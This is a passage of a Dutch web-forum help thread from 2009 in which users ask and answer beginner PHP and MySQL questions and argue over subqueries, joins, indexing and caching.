    jakeeszondag 22 maart 2009 @ 15:04
    quote:
    Op zondag 22 maart 2009 14:05 schreef GlowMouse het volgende:
    Puntkomma's moeten sowieso voor de ?> komen. Het statement is 'echo $spelers_voornaam', en dat moet je afsluiten met een puntkomma.
    Je post begrijp ik niet.
    ik heb een scherm waarin spelers wil wijzigen één voor één. ik selecteer een speler in een scherm waarna ik in het wijzig scherm kom. Ik wil dan dat de waardes van de tabel in de velden gevuld zijn. Dus bij voornaam staat dan al bijvoorbeeld "piet". Deze tekst kan worden overschreven door hetgeen ik intyp in het veld.
    #ANONIEMzondag 22 maart 2009 @ 19:33
    quote:
    Op zondag 22 maart 2009 15:04 schreef jakees het volgende:

    [..]

    ik heb een scherm waarin spelers wil wijzigen één voor één. ik selecteer een speler in een scherm waarna ik in het wijzig scherm kom. Ik wil dan dat de waardes van de tabel in de velden gevuld zijn. Dus bij voornaam staat dan al bijvoorbeeld "piet". Deze tekst kan worden overschreven door hetgeen ik intyp in het veld.
    Dan moet je je variablen vullen door middel van een database query, niet met een GET request.
    Roy_Tmaandag 23 maart 2009 @ 00:30
    quote:
    Op zondag 22 maart 2009 14:05 schreef GlowMouse het volgende:
    en dat moet je afsluiten met een puntkomma.
    <?= $bla ?> werkt prima zonder ; hoor (idem voor het langere <?php echo $bla ?>)
    Catch22-maandag 23 maart 2009 @ 00:53
    misschien een idee om wat links naar basic tutorials neer te plempen in de OP? Ik zie hier steeds vaker vragen voorbijkomen, dat ik denk; wat weet je meer van php dan de wijze waarop je het spelt?
    Roy_Tmaandag 23 maart 2009 @ 08:39
    Eens met Catch22. Het is dan wel voor dummies, maar dat wil niet zeggen dat iets van het niveau "ik wil iets, heb gehoord dat het met PHP kan en nu vraag ik jullie om een klant en klaar script" veel bijdraagt.
    #ANONIEMmaandag 23 maart 2009 @ 08:43
    quote:
    Op maandag 23 maart 2009 08:39 schreef Roy_T het volgende:
    Eens met Catch22. Het is dan wel voor dummies, maar dat wil niet zeggen dat iets van het niveau "ik wil iets, heb gehoord dat het met PHP kan en nu vraag ik jullie om een klant en klaar script" veel bijdraagt.
    Eensch. Daarnaast zou een topic voor de wat meer onderlegde PHP-ers onder ons geen kwaad kunnen.
    Catch22-maandag 23 maart 2009 @ 08:53
    naja ik heb persoonlijk geen zin om newbies te helpen die nog niet weten hoe ze een formulier moeten posten en ik denk dat dat voor meer mensen geldt.

    Als het leuke vragen zijn die getuigen van iets aan eigen inzet wil ik er best even over nadenken
    #ANONIEMmaandag 23 maart 2009 @ 08:55
    quote:
    Op maandag 23 maart 2009 08:53 schreef Catch22- het volgende:
    naja ik heb persoonlijk geen zin om newbies te helpen die nog niet weten hoe ze een formulier moeten posten en ik denk dat dat voor meer mensen geldt.

    Als het leuke vragen zijn die getuigen van iets aan eigen inzet wil ik er best even over nadenken
    Eens. De ingewikkeldere vragen zijn leuker dan de 'help, ik heb iets gejat en het werkt niet' vragen.
    slacker_nlmaandag 23 maart 2009 @ 11:20
    quote:
    Op maandag 23 maart 2009 08:53 schreef Catch22- het volgende:
    naja ik heb persoonlijk geen zin om newbies te helpen die nog niet weten hoe ze een formulier moeten posten en ik denk dat dat voor meer mensen geldt.

    Als het leuke vragen zijn die getuigen van iets aan eigen inzet wil ik er best even over nadenken
    Niemand verplicht je om vragen te beantwoorden, als jij ergens een vraag ziet waarvan je denkt, dat ga ik niet beantwoorden, doe het vooral ook niet.
    Catch22-maandag 23 maart 2009 @ 11:45
    Nee dat is waar, maar misschien als we wat goeie tutorials (ook mbt debuggen) neerzetten, dan kan men die eerst doornemen.

    Straks heb je hier een helpdesk met het nivo van 'plemp je codeblock hier neer en een nerd die lost het probleem wel'
    slacker_nlmaandag 23 maart 2009 @ 12:06
    Op zich is dat ook niet erg, denk dat deze reeks ook daardoor zo succesvol is geworden, mensen kunnen hier gewoon hun PHP vragen kwijt, hoe simpel deze ook mogen zijn voor de PHP veteraan.

    En het komt ook voor dat nav een simpele vraag de veteranen gaan lopen lullen of X methode beter is dan Y methode. Ik ben niet zo bang dat dit een helpdesk topic wordt, dat stadium hebben we allang bereikt
    Catch22-maandag 23 maart 2009 @ 12:39
    dan nog is het niet erg om even een aantal tutorials te noemen in de OP
    slacker_nlmaandag 23 maart 2009 @ 13:11
    Daar heb ik ook geen problemen mee hoor
    #ANONIEMdinsdag 24 maart 2009 @ 08:47
    http://www.fluffycat.com/PHP-Design-Patterns/ <-- design patterns, ook handig voor in de OP.
    markiemarkdinsdag 24 maart 2009 @ 15:54
    Ik ben bezig om voor mijn stage een opdracht uit te voeren, waar de it mannen aldaar ook niet uit komen. Ik heb ze gevraagd om hulp, maar zij raadden me aan een forum te bezoeken en daar hulp te vragen. Vandaar dat ik dus weer hier een vraag post. Hier is het probleem.

    We zijn bezig om een programma te ontwikkelen waarin specialiteiten in kaart worden gebracht. In principe gaat het om matchen van wensen van de gebruiker met de medewerkers die beschikken over specialiteiten. Ik wil met 1 query de matchende medewerkers uit de database halen die beschikt over meerdere tabellen. Er zijn meerdere systemen die gebruik maken van de database dus een mutatie is geen optie. Voor mijn voorbeelden heb ik andere database veldnamen gebruikt.

    Tabel structuur
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    -----------
    Werknemers
    -----------
    id
    name
    [meer info]

    ------------------
    specialiteiten
    ------------------
    werknemer_id
    specialiteit_naam
    waarde
    ------------------



    Tabel inhoud
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    ------------
    werknemers
    ------------
     1 - Mark
    23 - Pieter
    45 - Hans
    54 - Willem

    --------------------------------------
    specialiteiten
    --------------------------------------
     1 - OperatingSystems - Windows
     1 - OperatingSystems - Linux
     1 - ProgrammingLanguages - PHP
    23 - OperatingSystems - MAC
    23 - ProgrammingLanguages - ASP
    45 - ProgrammingLanguages - JavaScript
    45 - ProgrammingLanguages - PHP
    45 - ProgrammingLanguages - ASP.NET
    54 - OperatingSystems - Windows
    54 - ProgrammingLanguages - ASP.NET
    --------------------------------------


    Op deze tabellen run ik de volgende query:

    Deze werkt niet:
    1
    2
    3
    4
    5
    SELECT w.* 
    FROM werknemers w, specialiteiten s 
    WHERE w.id = s.werknemer_id 
    AND (s.specialiteit_naam = 'OperatingLanguages' AND s.waarde IN ('Windows', 'Mac')) 
    AND (s.specialiteit_naam = 'ProgrammingLanguages' AND s.waarde IN ('ASP', 'PHP')) 


    Deze werkt wel:
    1
    2
    3
    4
    SELECT w.* 
    FROM werknemers w, specialiteiten s 
    WHERE w.id = s.werknemer_id 
    AND (s.specialiteit_naam = 'OperatingLanguages' AND s.waarde IN ('Windows', 'Mac')) 


    Maar hij moet uitgebreider, zoals in het eerste voorbeeld. Hoe formuleer in de query correct?
    Tuvai.netdinsdag 24 maart 2009 @ 16:08
    Wat moet uitgebreider? Wat wil je precies uit je database laten rollen? Je huidige queries zijn overigens erg slordig, probeer met (LEFT / RIGHT OUTER) JOINs te werken waar het mogelijk is in plaats van 2 hele tabellen leeg te trekken en daar vervolgens een filtering op toe te passen.
    Darkomendinsdag 24 maart 2009 @ 16:09
    ('ASP', 'PHP')) moet dat niet ('ASP.NET', 'PHP')) zijn?
    markiemarkdinsdag 24 maart 2009 @ 16:15
    quote:
    Op dinsdag 24 maart 2009 16:08 schreef Tuvai.net het volgende:
    Wat moet uitgebreider? Wat wil je precies uit je database laten rollen? Je huidige queries zijn overigens erg slordig, probeer met (LEFT / RIGHT OUTER) JOINs te werken waar het mogelijk is in plaats van 2 hele tabellen leeg te trekken en daar vervolgens een filtering op toe te passen.
    De namen van de medewerkers die kunnen werken met Windows en MAC én gespecialiseerd zijn in PHP en ASP wil ik er uit halen..

    Gaat het werken wanneer ik left/right/inner joins ga gebruiken? Nooit gedaan namelijk...
    Tiemiedinsdag 24 maart 2009 @ 16:19
    quote:
    Op dinsdag 24 maart 2009 16:15 schreef markiemark het volgende:

    [..]

    De namen van de medewerkers die kunnen werken met Windows en MAC én gespecialiseerd zijn in PHP en ASP wil ik er uit halen..

    Gaat het werken wanneer ik left/right/inner joins ga gebruiken? Nooit gedaan namelijk...
    Je voorbeeld-data voldoet niet aan je where. Daarom krijg je 0 results.

    Je doet een WHERE namelijk op 1 row en er is geen row die op beide matched.
    markiemarkdinsdag 24 maart 2009 @ 16:20
    quote:
    Op dinsdag 24 maart 2009 16:19 schreef Tiemie het volgende:

    [..]

    Je voorbeeld-data voldoet niet aan je where. Daarom krijg je 0 results.

    vind zelf onderstaande netter.
    [ code verwijderd ]


    Thnx! Hier ga ik ff mee aan de slag!
    Tiemiedinsdag 24 maart 2009 @ 16:22
    quote:
    Op dinsdag 24 maart 2009 16:20 schreef markiemark het volgende:

    [..]

    Thnx! Hier ga ik ff mee aan de slag!
    zie edit
    Tuvai.netdinsdag 24 maart 2009 @ 16:22
    Voorbeeldje om namen op te halen van mensen die gespecialiseerd zijn in OperatingSystem Windows:

    1
    2
    3
    4
    5
    6
    7
    8
    SELECT
        w.Naam
    FROM
        medewerkers w RIGHT OUTER JOIN
            specialiteiten s ON s.werknemer_id = w.id
    WHERE
        s.specialiteit_naam = 'OperatingSystems' AND
        s.waarde = 'Windows'

    OF
    1
    2
    3
    4
    5
    6
    7
    8
    SELECT
        w.Naam
    FROM
        specialiteiten s LEFT OUTER JOIN
            werknemers w ON w.id = s.werknemer_id
    WHERE
        s.specialiteit_naam = 'OperatingSystems' AND
        s.waarde = 'Windows'


    Kort samengevat: Met een LEFT OUTER JOIN ga je vanuit de 'diepere' tabel werken, met RIGHT OUTER JOIN ga je vanuit de bovenliggende tabel werken. Voor de rest is het in jouw geval simpelweg met de WHERE clausule spelen om de goede filtering toe te passen.
    Catch22-dinsdag 24 maart 2009 @ 16:33
    He?

    Sla je nu in een aparte tabel een specialiteit op met een id, naam en waarde?

    Ik zou dit toch anders oplossen. Het liefst een tussenentiteit (de kans is groot dat je ooit meerdere specialiteiten wil kunnen toekennen aan iemand) of een veld in de werknemer.
    #ANONIEMdinsdag 24 maart 2009 @ 16:35
    quote:
    Op dinsdag 24 maart 2009 16:33 schreef Catch22- het volgende:
    He?

    Sla je nu in een aparte tabel een specialiteit op met een id, naam en waarde?

    Ik zou dit toch anders oplossen. Het liefst een tussenentiteit (de kans is groot dat je ooit meerdere specialiteiten wil kunnen toekennen aan iemand) of een veld in de werknemer.
    Dat sowieso. Een specialiteiten tabel, een gebruikers tabel en een koppeltabel tussen die 2 is voldoende, meerdere vermeldingen in die koppeltabel -> meer specialiteiten.
    Catch22-dinsdag 24 maart 2009 @ 16:39
    Juist. En het kan nu voor komen dat je bij een entry 'OperatingSystems' hebt, en 'Operating Systems' en 'Opareating systems'. Die zal je niet bijelkaar kunnen rapen.

    Dus, normaliseren!
    #ANONIEMdinsdag 24 maart 2009 @ 16:43
    quote:
    Op dinsdag 24 maart 2009 16:39 schreef Catch22- het volgende:
    Juist. En het kan nu voor komen dat je bij een entry 'OperatingSystems' hebt, en 'Operating Systems' en 'Opareating systems'. Die zal je niet bijelkaar kunnen rapen.

    Dus, normaliseren!
    Tuvai.netdinsdag 24 maart 2009 @ 17:45
    En wat Catch22 en Scorpie zeggen inderdaad. Zulke veel voorkomende 'stringetjes' elke keer textueel opslaan is vragen om problemen en invoerfouten (en op z'n beurt dus ook filter/selectiefouten).
    qwoxdinsdag 24 maart 2009 @ 18:19
    heb een mysql vraagje, je waarschijnelijk simpel maar ik snap het niet

    ik heb een query om de laatste twee reacties uit een fotoboek te halen, klinkt heel simpel. Nu wil ik echter dat het niet twee reacties op de zelfde foto zijn, dus doe ik groep by foto. Nu heb geeft die dus de laatste twee foto's waar een EERSTE reactie op is geplaatst, als er al eerder op die foto is gereageert is die datum bij die groep dus te oud.

    ik gebruik nu
    1
    2
    3
    4
    5
    SELECT * 
    FROM fotoboek_comments
    GROUP BY foto
    ORDER BY datum DESC 
    LIMIT 0 , 2

    wie weet hoe de laatste twee reacties krijg waar de foto's dus niet het zelfde bij zijn.

    mocht het niet duidelijk zijn even een voorbeeldje

    foto1 - reactie 3 <- wil dus deze foto met reactie als eerste
    foto1 - reactie 2
    foto2 - reactie 2 <- en deze foto met reactie als tweede
    foto2 - reactie 1 <- krijg deze als eerste
    foto3 - reactie 1 <- krijg deze als twee
    foto1 - reactie 1

    weet niet of het duidelijker wordt zo maar hoop dat iemand me kan helpen
    GlowMousedinsdag 24 maart 2009 @ 18:33
    Je wilt reacties waarvan id (of tijd) gelijk is aan het maximum id (of tijd) bij die persoon. Dat kun je in je WHERE zetten met een mooie subquery. De performance met jouw datamodel is wel om te janken.
    bassiedekloondinsdag 24 maart 2009 @ 18:42
    Hallo allemaal,

    Ik weet niet of ik hier goed zit, maar ik probeer van alles maar kom er maar niet uit.(ben ook maar een beginneling )
    Ik ben bezig met een chatsite met cam's, nu zou ik graag foto's van de cam's op de hoofdpagina zetten en als ze daar op klikken dat ze in die chat-kamer uitkomen.
    nu heb ik al een chat met cam waarbij automatisch foto's worden gemaakt om de zoveel tijd en op de hoofdpagina kan zetten, alleen nu komt het probleem: deze foto's blijven staan, dus als de chatkamer vrij is blijft de foto van de laatste chatter staan en ziet niemand dat die chatkamer vrij is.
    ik zou daar dan liever een plaatje hebben staan waarop staat dat de room vrij is...

    De chatkamers staat op een andere server en ik gebruik ze in een inframe, dus mijn vraag is of er een php code is om te zien of iemand anders die pagina al open heeft?
    dus dat het script weet of iemand anders die pagina (waarin het inframe zit voor de chat) open heeft
    dus op de hoofdpagina de foto van de cam gebruikt als iemand de pagina open heeft en een "chat open" plaatje als niemand die pagina open heeft?
    SPOILER
    sorry maar ik ben niet zo goed in uitleggen
    GlowMousedinsdag 24 maart 2009 @ 18:44
    Kijken wanneer het plaatje voor het laatst is aangepast, en indien lang genog, een ander plaatje tonen?
    bassiedekloondinsdag 24 maart 2009 @ 18:46
    quote:
    Op dinsdag 24 maart 2009 18:44 schreef GlowMouse het volgende:
    Kijken wanneer het plaatje voor het laatst is aangepast, en indien lang genog, een ander plaatje tonen?
    Ik kan niet zien wanneer het plaatje aangepast is helaas
    slacker_nldinsdag 24 maart 2009 @ 18:48
    quote:
    Op dinsdag 24 maart 2009 18:19 schreef qwox het volgende:
    heb een mysql vraagje, je waarschijnelijk simpel maar ik snap het niet
    SELECT distinct(id), date, comment FROM `fotoboek_comments` order by date limit 0,2

    Die distinct zorgt ervoor dat je geen dubbele fotoid's hebt in je resultset. De overige zooi lijkt me voor zichzelf spreken.

    [ Bericht 16% gewijzigd door slacker_nl op 24-03-2009 18:53:59 ]
    slacker_nldinsdag 24 maart 2009 @ 18:55
    quote:
    Op dinsdag 24 maart 2009 18:33 schreef GlowMouse het volgende:
    De performance met jouw datamodel is wel om te janken.
    Onderbouwde uitspraak, vooral omdat je z'n datamodel ook zo goed kan achterhalen bij het zien van 1 SQL statement..
    GlowMousedinsdag 24 maart 2009 @ 18:59
    quote:
    Op dinsdag 24 maart 2009 18:48 schreef slacker_nl het volgende:

    [..]

    SELECT distinct(id), date, comment FROM `fotoboek_comments` order by date limit 0,2
    Ziet er leuk uit, maar wekt niet. DISTINCT gaat over een rij.
    quote:
    Op dinsdag 24 maart 2009 18:55 schreef slacker_nl het volgende:

    [..]

    Onderbouwde uitspraak, vooral omdat je z'n datamodel ook zo goed kan achterhalen bij het zien van 1 SQL statement..
    Daar heb ik voor geleerd. Met dit datamodel krijgt hij die query onmogelijk snel tenzij er slechts een beperkt aantal records in de tabel zit.
    qwoxdinsdag 24 maart 2009 @ 19:06
    ik heb niet doorgeleerd in mysl en database modelen.

    Ik snap ook weinig van
    quote:
    Je wilt reacties waarvan id (of tijd) gelijk is aan het maximum id (of tijd) bij die persoon. Dat kun je in je WHERE zetten met een mooie subquery. De performance met jouw datamodel is wel om te janken.
    Wat bedoel je met een subquery by where
    Flacciddinsdag 24 maart 2009 @ 19:06
    Ik heb eigenlijk een aantal vragen die met elkaar te maken hebben:
    1.
    http://www.sintjoris.sghetplein.nl/Roosters/klas/menu.htm
    Dit is een grote tabel waar ik eigenlijk maar 2 dingen uit moet zien te vissen. De inhoud van de 2e kolom. Ik wil de tekst die er staat én de link die erachter zit. Deze wil ik daarna weer in een andere tabel stoppen. Hoe moet ik dat gaan parsen?

    2.
    Later eventueel in MySQL stoppen, duurt het lang om per entry 2 waardes uit een mysql table te halen? Niet heel erg lang toch?

    3.
    Ik wil een search box maken die een lijst begint te filteren zodra je begint met typen. Ik kan zo snel geen voorbeeld vinden, maar je snapt het denk ik wel. Type-ahead heet het volgensmij. Hoe krijg je dat dan voor elkaar met een MySQL table?
    GlowMousedinsdag 24 maart 2009 @ 19:10
    quote:
    Op dinsdag 24 maart 2009 19:06 schreef qwox het volgende:
    [..]

    Wat bedoel je met een subquery by where
    Je kunt bijvoorbeeld zeggen: WHERE id = (SELECT max(id) FROM fotoboek_comments WHERE ...)

    Flaccid:
    1. Domtree of regex, kies maar
    2. Wat is per entry? je wilt van élk record 2 velden? Dat is snel maar je moet geen duizenden records hebben.
    3. Zoek eens op xmlHttpRequest, er komt wat JavaScript en PHP bij kijken
    #ANONIEMdinsdag 24 maart 2009 @ 19:24
    Welk pattern gebruiken jullie om objecten aan te maken binnen jullie applicatie? Voor domain objecten lijkt mij een DomainObjectFactory class handig, die elke keer 1 instantie van een object retourneert?

    Of gebruiken jullie een generieke oplossing voor al jullie objecten?
    GlowMousedinsdag 24 maart 2009 @ 19:26
    quote:
    Op dinsdag 24 maart 2009 19:24 schreef Scorpie het volgende:
    Welk pattern gebruiken jullie om objecten aan te maken binnen jullie applicatie? Voor domain objecten lijkt mij een DomainObjectFactory class handig, die elke keer 1 instantie van een object retourneert?

    Of gebruiken jullie een generieke oplossing voor al jullie objecten?
    PHP/MySQL?
    #ANONIEMdinsdag 24 maart 2009 @ 19:28
    quote:
    Op dinsdag 24 maart 2009 19:26 schreef GlowMouse het volgende:

    [..]

    PHP/MySQL?
    Ik heb het over design patterns voor mijn project in PHP, zie ook http://www.fluffycat.com/PHP-Design-Patterns, zulke patterns heb ik het over. Wilde eens wat ervaringen polsen.
    Flacciddinsdag 24 maart 2009 @ 19:43
    quote:
    Op dinsdag 24 maart 2009 19:10 schreef GlowMouse het volgende:

    [..]

    Je kunt bijvoorbeeld zeggen: WHERE id = (SELECT max(id) FROM fotoboek_comments WHERE ...)

    Flaccid:
    1. Domtree of regex, kies maar
    2. Wat is per entry? je wilt van élk record 2 velden? Dat is snel maar je moet geen duizenden records hebben.
    3. Zoek eens op xmlHttpRequest, er komt wat JavaScript en PHP bij kijken
    1. Ik snap even niet.
    2. Ja ik kan even niet op die term in een mysql table komen. Gewoon zo'n rij in een mysql table.
    3. Ik dacht dat het wel snel te doen was, maar dat valt tegen.
    slacker_nldinsdag 24 maart 2009 @ 19:59
    quote:
    Op dinsdag 24 maart 2009 18:59 schreef GlowMouse het volgende:

    [..]

    Ziet er leuk uit, maar wekt niet. DISTINCT gaat over een rij.
    Hoezo zou het niet werken? Werkt bij mij anders perfect...
    quote:
    Daar heb ik voor geleerd. Met dit datamodel krijgt hij die query onmogelijk snel tenzij er slechts een beperkt aantal records in de tabel zit.
    Knappe studiebol ben je dat je aan de hand van 1 table kan zien hoe zijn datamodel eruit ziet. Jij hebt zeker de glazen bol gejat die iedereen mist (zie OP).
    qwoxdinsdag 24 maart 2009 @ 19:59
    ik heb me probleem weten op de lossen met een subquery, volgens mij is die niet optimaal maar dat maakt niet uit.
    Het is een script op de website van een studentenvereniging, ik weet 100% zeker dat er slechtere code te vinden is op die site.

    bedankt voor de hulp
    slacker_nldinsdag 24 maart 2009 @ 20:04
    quote:
    Op dinsdag 24 maart 2009 19:59 schreef qwox het volgende:
    ik heb me probleem weten op de lossen met een subquery, volgens mij is die niet optimaal maar dat maakt niet uit.
    Het is een script op de website van een studentenvereniging, ik weet 100% zeker dat er slechtere code te vinden is op die site.

    bedankt voor de hulp
    Uit nieuwsgierigheid, wat is je query en waar kunnen we het resultaat zien?
    bassiedekloondinsdag 24 maart 2009 @ 23:48
    quote:
    Op dinsdag 24 maart 2009 18:44 schreef GlowMouse het volgende:
    Kijken wanneer het plaatje voor het laatst is aangepast, en indien lang genog, een ander plaatje tonen?
    thanks, je hebt me op een idee gebracht die ook nog werkt..
    het is niet super maar werkt wel goed
    Roy_Twoensdag 25 maart 2009 @ 08:30
    quote:
    Op dinsdag 24 maart 2009 23:48 schreef bassiedekloon het volgende:

    thanks, je hebt me op een idee gebracht die ook nog werkt..
    het is niet super maar werkt wel goed
    En welk idee is dat?
    GlowMousewoensdag 25 maart 2009 @ 12:36
    quote:
    Op dinsdag 24 maart 2009 19:59 schreef slacker_nl het volgende:

    [..]

    Hoezo zou het niet werken? Werkt bij mij anders perfect...
    http://dev.mysql.com/doc/refman/5.1/en/select.html
    En DISTINCT is verder geen bijzondere functie. Ik heb het voor je getest met MySQL 5.0.38 en 5.1.32, maar het werkt gewoon niet.
    quote:
    Knappe studiebol ben je dat je aan de hand van 1 table kan zien hoe zijn datamodel eruit ziet. Jij hebt zeker de glazen bol gejat die iedereen mist (zie OP).
    Daar heb je geen glazen bol voor nodig. Ik zal je de algemene regel schenken: wanneer je wilt sorteren op kolom A en slechts één A wilt bij iedere unieke waarde uit kolom B (met B ongelijk A) dan kan MySQL die query niet efficiënt uitvoeren.
    Tuvai.netwoensdag 25 maart 2009 @ 12:47
    quote:
    Op woensdag 25 maart 2009 12:36 schreef GlowMouse het volgende:
    Daar heb je geen glazen bol voor nodig. Ik zal je de algemene regel schenken: wanneer je wilt sorteren op kolom A en slechts één A wilt bij iedere unieke waarde uit kolom B (met B ongelijk A) dan kan MySQL die query niet efficiënt uitvoeren.
    Subqueries zie ik ook liever niet, maar die zijn er niet voor niks. Als de functionaliteit van de applicatie iets vereist dat alleen met subqueries op te lossen is, dan kom je er in sommige gevallen niet onderuit.

    Maar jij bent d'r zeker zo eentje die zo min mogelijk de DB wilt belasten, maar wel databasezaken op applicatieniveau gaat oplossen. Nee dát is efficiënt.
    GlowMousewoensdag 25 maart 2009 @ 13:01
    Websites moeten snel zijn omdat dat fijn is voor de gebruikeren omdat je server dan meer bezoekers aan kan. Voor je back-end zijn subqueries minder erg en kunnen ze soms leuke statistieken tevoorschijn toveren.
    Per geval kun je nadenken wat je het beste kunt doen. Soms valt de query iets te herschrijven. Hier is dat niet mogelijk, dus zul je het resultaat moeten cachen.
    Deze query gaat er bij een wat grotere dataset seconden over doen (benchmark: 60+ seconden bij 30k reacties) en dat is onacceptabel. MySQL kan hem slecht cachen omdat de reactietabel vaak geüpdatet wordt. Dus dan moet je applicatie maar helpen.
    Tuvai.netwoensdag 25 maart 2009 @ 13:12
    Sorry, maar dat is geen haar beter. Ik vind het altijd lullig om te zien wanneer mensen keurige, semantische websites opzetten (inhoud in de HTML, opmaak in de CSS, unobtrussive Javascript apart, enzovoorts) onder het mom van 'zaken neerleggen waar ze horen', maar vervolgens achteliggende broncode hebben waar je van gaat janken. In de regel vaak hele goede programmeurs die enkel op PHP / ASP gefocused zijn maar geen flauw benul van SQL hebben, of té gemakzuchtig zijn in hun backend.

    In bovenstaand voorbeeld verbeter je de performance van een functionaliteit niet, je verlegt de belasting die er door plaats vindt alleen maar, nota bene naar een plek waar het niet eens hoort. Lappen aan SQL scripts in codefiles / codebehinds is een ranzige gewoonte. En dan vooral wanneer er (weer eens) iets in de databasestructuur van de betreffende applicatie moet veranderen, en allerlei vage bestanden met hardcoded queries moet gaan doorzoeken.

    Sowieso is je voorbeeld erg overdreven. Op iets eenvoudigs als een reactie-tabel, kun je toch snelle queries draaien waar subqueries in zitten. Sowieso haal je in geval van reacties altijd maar een bepaald aantal op (hee, LIMIT ), en zit er in die reactie-tabel een veld dat verwijst naar de bovenliggende tabel (hee, een INDEX ). Als er honderdduizenden records in die reactie tabel zitten dan zal die ietsjes langzamer zijn dan wanneer er maar 10 records in zitten, maar 60+ seconden? Kom op zeg.

    Ik geef je eens een ander voorbeeld. Stel je hebt een webshop met rubrieken. Die rubrieken zijn dusdanig opgezet dat je onbeperkt diep child-rubrieken kunt aanmaken onder bestaande rubrieken. Van elke rubriek wil je het actuele aantal producten in diezelfde rubriek en diens onderliggende rubrieken hebben. Hoe zou jij dat oplossen?

    [ Bericht 3% gewijzigd door Tuvai.net op 25-03-2009 13:30:30 ]
    Roy_Twoensdag 25 maart 2009 @ 13:12
    Caching anyone? Ik gebruik regelmatig subqueries, maar dit geldt voor alle soorten queries, etc: het is onzin om ze voor een high traffic app bij iedere request uit te voeren. Het resultaat cachen kan vrijwel altijd.

    En voor een low traffic site is het helemaal niet interessant, want dan staat je DB-server ook met zwaarde queries uit zijn neus te vreten.
    Lightwoensdag 25 maart 2009 @ 13:29
    quote:
    Op woensdag 25 maart 2009 13:01 schreef GlowMouse het volgende:
    Websites moeten snel zijn omdat dat fijn is voor de gebruikeren omdat je server dan meer bezoekers aan kan. Voor je back-end zijn subqueries minder erg en kunnen ze soms leuke statistieken tevoorschijn toveren.
    Per geval kun je nadenken wat je het beste kunt doen. Soms valt de query iets te herschrijven. Hier is dat niet mogelijk, dus zul je het resultaat moeten cachen.
    Deze query gaat er bij een wat grotere dataset seconden over doen (benchmark: 60+ seconden bij 30k reacties) en dat is onacceptabel. MySQL kan hem slecht cachen omdat de reactietabel vaak geüpdatet wordt. Dus dan moet je applicatie maar helpen.
    Als je 30k reacties hebt en je query heeft 60+ seconden nodig, dan staan je indices niet goed. Misschien moet je ook de query zelf aanpassen, maar goed geplaatste indices doen heel veel.
    GlowMousewoensdag 25 maart 2009 @ 13:38
    quote:
    Op woensdag 25 maart 2009 13:12 schreef Tuvai.net het volgende:
    Sowieso is je voorbeeld erg overdreven. Op iets eenvoudigs als een reactie-tabel, kun je toch snelle queries draaien waar subqueries in zitten. Sowieso haal je in geval van reacties altijd maar een bepaald aantal op (hee, LIMIT ), en zit er in die reactie-tabel een veld dat verwijst naar de bovenliggende tabel (hee, een INDEX ). Als er honderdduizenden records in die reactie tabel zitten dan zal die ietsjes langzamer zijn dan wanneer er maar 10 records in zitten, maar 60+ seconden? Kom op zeg.
    Je hebt gelijk, subquery met LIMIT en een tweetal indices doet wonderen hier. Blijft een relatief langzame query, maar het is nu te overzien (paar honderdsten van een seconde, afhankelijk van waar de laatste reacties geplaatst zijn).
    quote:
    Ik geef je eens een ander voorbeeld. Stel je hebt een webshop met rubrieken. Die rubrieken zijn dusdanig opgezet dat je onbeperkt diep child-rubrieken kunt aanmaken onder bestaande rubrieken. Van elke rubriek wil je het actuele aantal producten in diezelfde rubriek en diens onderliggende rubrieken hebben. Hoe zou jij dat oplossen?
    Extra veld in de rubriektabel.
    Tuvai.netwoensdag 25 maart 2009 @ 13:48
    quote:
    Op woensdag 25 maart 2009 13:38 schreef GlowMouse het volgende:
    Je hebt gelijk, subquery met LIMIT en een tweetal indices doet wonderen hier. Blijft een relatief langzame query, maar het is nu te overzien (paar honderdsten van een seconde, afhankelijk van waar de laatste reacties geplaatst zijn).
    Zo 'relatief' langzaam dat de gebruiker er niks van merkt. Ook in geval van honderdduizenden records niet. Die paar milliseconden op zo veel records zijn verwaarloosbaar, vooral als dat de schaalbaarheid, overzichtelijkheid en flexibiliteit van de broncode ten goede doet.
    quote:
    Op woensdag 25 maart 2009 13:38 schreef GlowMouse het volgende:
    Extra veld in de rubriektabel.
    Dus elke keer wanneer een product toegevoegd of verwijdert wordt ga je alle rubrieken (en subrubrieken, en diens subrubrieken, enz) nalopen, het aantal producten in die rubriek (en subrubrieken, en diens subrubrieken) met een COUNT(*) ophalen en die waarde wegschrijven? Waar leg je die functionaliteit en hoe doe je dat dan?

    Een mogelijke situatie:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    - A
    - - A A
    - - - A A A
    - - - A A B
    - - - A A C
    - - A B
    - - - A B A
    - - - A B B
    - - - A B C
    - - A C
    - - - A C A
    - - - A C B
    - - - A C C
    - - A D
    - - - A D A
    - - - A D B
    - - - A D C
    - - A E
    - - - A E A
    - - - A E B
    - - - A E C
    - - A F
    - - - A G A
    - - - A G B
    - - - A G C


    Stel je verwijdert een product in rubriek '- - - A E C', dan zal het productaantal van rubriek '- A' ook actueel moeten worden. Erg veel COUNT(*) query`tjes zeg.

    Wat doe je overigens als een DBA in 'geval van nood' een product via de database moet verwijderen of 'recoveren'?
    Chandlerwoensdag 25 maart 2009 @ 13:59
    Vraagje, hoe kan ik binnen een grote tekst binnen bepaalde elementen iets wijzigen?

    stel ik heb de volgende tekst

    <table>
    <tr>
    <td>{=test}</td>
    <td>{te=st}</td>
    <td>{test=}</td>
    </tr>

    Nu wil ik deze data alles tussen de {} filteren en de = verwijderen... hoe kan ik dit doen?
    Roy_Twoensdag 25 maart 2009 @ 14:03
    Regex om de inhoud van alle {} te vinden en daar vervolgens je filter op loslaten
    Chandlerwoensdag 25 maart 2009 @ 14:10
    Tja dat kan ook, maar hoopte eingelijk op een simpele preg_replace.

    Leek mij namelijk sneller.

    Het filteren van alle {*} is idd wel te doen maar nogmaals had liever een preg_replace die het allemaal in 1x deed
    slacker_nlwoensdag 25 maart 2009 @ 14:24
    Beetje simpele variant, kan volgens mij wel mooier:


    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    $lines 
    = array("<td>{=test}</td>""<td>{te=st}</td>""<td>{test=}</td>");

    $regexp '/(\{)(\w+)?=?(\w+)?(\})/';

    foreach (
    $lines as $v) {
        print 
    preg_replace($regexp'\1\2\3\4'$v);
    }
    ?>


    [ Bericht 0% gewijzigd door slacker_nl op 25-03-2009 14:36:59 ]
    GlowMousewoensdag 25 maart 2009 @ 17:47
